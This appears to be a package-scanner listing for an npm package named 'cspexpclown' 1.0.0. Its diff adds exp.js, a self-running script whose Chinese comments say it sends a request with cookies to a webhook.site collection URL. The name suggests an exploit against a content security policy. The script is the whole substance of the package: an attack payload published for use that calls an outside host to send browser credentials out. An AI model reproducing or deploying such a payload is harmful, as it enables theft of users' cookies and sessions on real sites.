cspexpclown 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/exp.js +21 -0
- package/package.json +11 -0
package/exp.js
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
(async () => {
|
2
|
+
const domain = "https://webhook.site/78bd37ea-0ee3-4993-8b97-b607846ab241"; // 指定域名
|
3
|
+
|
4
|
+
try {
|
5
|
+
// 发送GET请求并带上Cookie
|
6
|
+
const res = await fetch(`${domain}`, {
|
7
|
+
method: "GET",
|
8
|
+
credentials: 'include' // 带上Cookie
|
9
|
+
});
|
10
|
+
|
11
|
+
// 处理响应
|
12
|
+
if (!res.ok) {
|
13
|
+
throw new Error(`请求失败,状态码: ${res.status}`);
|
14
|
+
}
|
15
|
+
|
16
|
+
const data = await res.json();
|
17
|
+
console.log("响应数据:", data);
|
18
|
+
} catch (error) {
|
19
|
+
console.error("请求出错:", error.message);
|
20
|
+
}
|
21
|
+
})();
|